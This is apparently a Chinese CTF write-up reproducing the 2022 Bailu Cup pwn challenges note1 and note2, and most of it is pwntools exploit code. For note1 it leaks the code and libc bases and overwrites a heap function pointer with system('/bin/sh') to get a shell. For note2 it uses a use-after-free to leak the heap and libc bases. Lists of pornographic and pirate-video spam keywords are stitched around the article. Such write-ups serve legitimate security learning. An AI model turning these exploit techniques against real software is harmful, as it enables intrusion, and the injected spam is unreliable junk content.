<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      2022年柏鷺杯 pwn題復現

      題目附件鏈接:

      鏈接:https://pan.baidu.com/s/1xng57H4uO04y0RdtYSVG7A
      提取碼:lele

      note1:

      在程序里面,一個很明顯可以用于getshell的地方是3.call,由于函數地址和參數都是存在堆上的,只要能夠修改函數地址為system函數的就可以了。然后可以進一步歸結為泄露libc基址、泄露代碼段基址......

      泄露代碼段基址:

      主要漏洞點是:在new時,是通過fgets函數進行輸入數據的,這樣當參數n為8時,最后個字節就會為'\x00',不會泄露出后面的數據。但在edit時,new tag分支中是通過scanf函數進行輸入,且格式化字符串為"%8s",這樣可以使tag滿滿當當。不過注意的是,scanf函數對以字符串形式輸入數據時,會在結尾附加的'\x00',但我們只要在edit中修改func就可以。接著只要callfun就可以在打印tag時連帶func的地址打印出來啦~

      add(0, 0x500, b'A'*0x100, b'', 1)
      edit_tag(0, b'abcdefgh')
      edit_func(0,1)
      funcall(0)
      io.recvuntil(b'abcdefgh')
      text_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x131b
      print("@@@ text_base = " + str(hex(text_base)))

       

      泄露libc基址:

      主要的漏洞點是:在edit中修改name時,不更新name的長度,可以達到堆溢出的效果。

       

      edit_name(0, 0x17, b'')
      add(1, 0x17, b'', b'', 1)
      edit_name(0, 0x101, b'A'*0x20 + p64(0) + p64(text_base + 0x131b) + p64(text_base + 0x3FA8))
      funcall(1)
      io.recvuntil("name: ")
      libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.symbols['printf']
      print("@@@ libc_base = " + str(hex(libc_base)))

       

      get shell:

      重復第二步的溢出,直接getshell!

      edit_name(0, 0x101, b'A'*0x20 + b'/bin/sh\x00' + p64(libc_base + libc.symbols['system']))
      funcall(1)
      io.interactive()

       

      EXP:

      from pwn import *
      context(os='linux', arch='amd64', log_level='debug')
      
      io = process("./note1")
      elf = ELF("./note1")
      libc = ELF("./libc.so.6")
      
      def add(Id, length, name, tag, func):
          io.sendlineafter("> ", "1")
          io.sendlineafter("id: ", str(Id))
          io.sendlineafter("name_length: ", str(length))
          io.sendlineafter("name: ", name)
          io.sendlineafter("tag: ", tag)
          io.sendlineafter("func: ", str(func))
      
      def edit_name(Id, length, name):
          io.sendlineafter("> ", "2")
          io.sendlineafter("id: ", str(Id))
          io.sendlineafter("> ", "1")
          io.sendlineafter("name_length: ", str(length))
          io.sendlineafter("name: ", name)
      
      def edit_tag(Id, tag):
          io.sendlineafter("> ", "2")
          io.sendlineafter("id: ", str(Id))
          io.sendlineafter("> ", "2")
          io.sendlineafter("new tag: ", tag)
      
      def edit_func(Id, func):
          io.sendlineafter("> ", "2")
          io.sendlineafter("id: ", str(Id))
          io.sendlineafter("> ", "3")
          io.sendlineafter("func: ", str(func))
      
      def funcall(Id):
          io.sendlineafter("> ", "3")
          io.sendlineafter("id: ", str(Id))
      
      def debug():
          gdb.attach(io)
          pause()
      
      add(0, 0x500, b'A'*0x100, b'', 1)
      edit_tag(0, b'abcdefgh')
      edit_func(0,1)
      funcall(0)
      io.recvuntil(b'abcdefgh')
      text_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x131b
      print("@@@ text_base = " + str(hex(text_base)))
      
      edit_name(0, 0x17, b'')
      add(1, 0x17, b'', b'', 1)
      edit_name(0, 0x101, b'A'*0x20 + p64(0) + p64(text_base + 0x131b) + p64(text_base + 0x3FA8))
      funcall(1)
      io.recvuntil("name: ")
      libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.symbols['printf']
      print("@@@ libc_base = " + str(hex(libc_base)))
      
      edit_name(0, 0x101, b'A'*0x20 + b'/bin/sh\x00' + p64(libc_base + libc.symbols['system']))
      funcall(1)
      io.interactive()

       

      note2:

      這里只泄露出了堆基址和libc基址,后面的涉及到一些IO的利用手法,聽說banana、apple2可以打。

      恐怖的是,看了Ex師傅的getshell部分,竟然只要幾行代碼。等學了之后再來補吧~

      程序有明顯的UAF漏洞,泄露基址很容易,注意從2.32開始有個Safe-Linking保護機制即可。

      from pwn import *
      context(os='linux', arch='amd64', log_level='debug')
      
      io = process("./note2")
      elf = ELF("./note2")
      libc = ELF("./libc.so.6")
      
      def create(idx, size, content):
          io.sendlineafter("> ", "1")
          io.sendlineafter("Index?", str(idx))
          io.sendlineafter("Size?", str(size))
          io.sendlineafter("Enter content: ", content)
      
      def free(idx):
          io.sendlineafter("> ", "2")
          io.sendlineafter("Index?", str(idx))
      
      def view(idx):
          io.sendlineafter("> ", "3")
          io.sendlineafter("Index?", str(idx))
      
      def debug():
          gdb.attach(io)
          pause()
      
      # use 'key' leak heap_base
      create(0, 0xf0, b'tolele')
      free(0)
      view(0)
      key = u64(io.recvuntil("\n\n--- menu ---", drop=True)[3:].ljust(8,b'\x00'))
      heap_base = key << 12
      print("@@@ heap_base = " + str(hex(heap_base)))
      
      # leak libc_base
      for i in range(0,9):
          create(i, 0xf0, b'tolele')
      for i in range(0,7):
          free(i)
      free(7)
      view(7)
      libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x219c00 - 0xe0
      print("@@@ libc_base = " + str(hex(libc_base)))

      (留坑,待填)


      tolele

      2022-09-17

      posted @ 2022-09-17 06:56  tolele  閱讀(294)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 黄色亚洲一区二区三区四区| 激情四射激情五月综合网| 正在播放国产对白孕妇作爱| 国产69精品久久久久乱码免费| 欧洲美熟女乱av在免费| 欧美人与动人物牲交免费观看| 亚洲色大成网站www永久男同| 狠狠五月深爱婷婷网| 亚洲中文字幕无码中字| 亚洲天堂一区二区成人在线| 国语对白做受xxxxx在线中国| 精品无码老熟妇magnet| 激情综合网激情综合| 亚洲男人天堂2018| 国产一区二区三区AV在线无码观看| 国产精品成人一区二区三区| 国精品午夜福利不卡视频| 国产女人18毛片水真多1| 97国产揄拍国产精品人妻| A级毛片100部免费看| 麻豆a级片| 国产精品中文字幕综合| 国产成人精品中文字幕| 99精品国产一区二区三| 日本边添边摸边做边爱的网站 | 国产尤物精品自在拍视频首页| 中文字幕亚洲国产精品| 国产午夜精品一区二区三区不卡| 亚洲精品久荜中文字幕| 精品久久久久久无码不卡| 亚洲精品动漫一区二区三| 亚洲欧美激情在线一区| 国产又爽又黄又无遮挡的激情视频| 午夜亚洲AV日韩AV无码大全| 成人免费无码av| 国产精品久久蜜臀av| 日韩精品一区二区三区激情视频 | 狠狠色丁香婷婷综合尤物| 国产精品国产三级国产专业| 久久亚洲精品人成综合网| 国产av综合一区二区三区|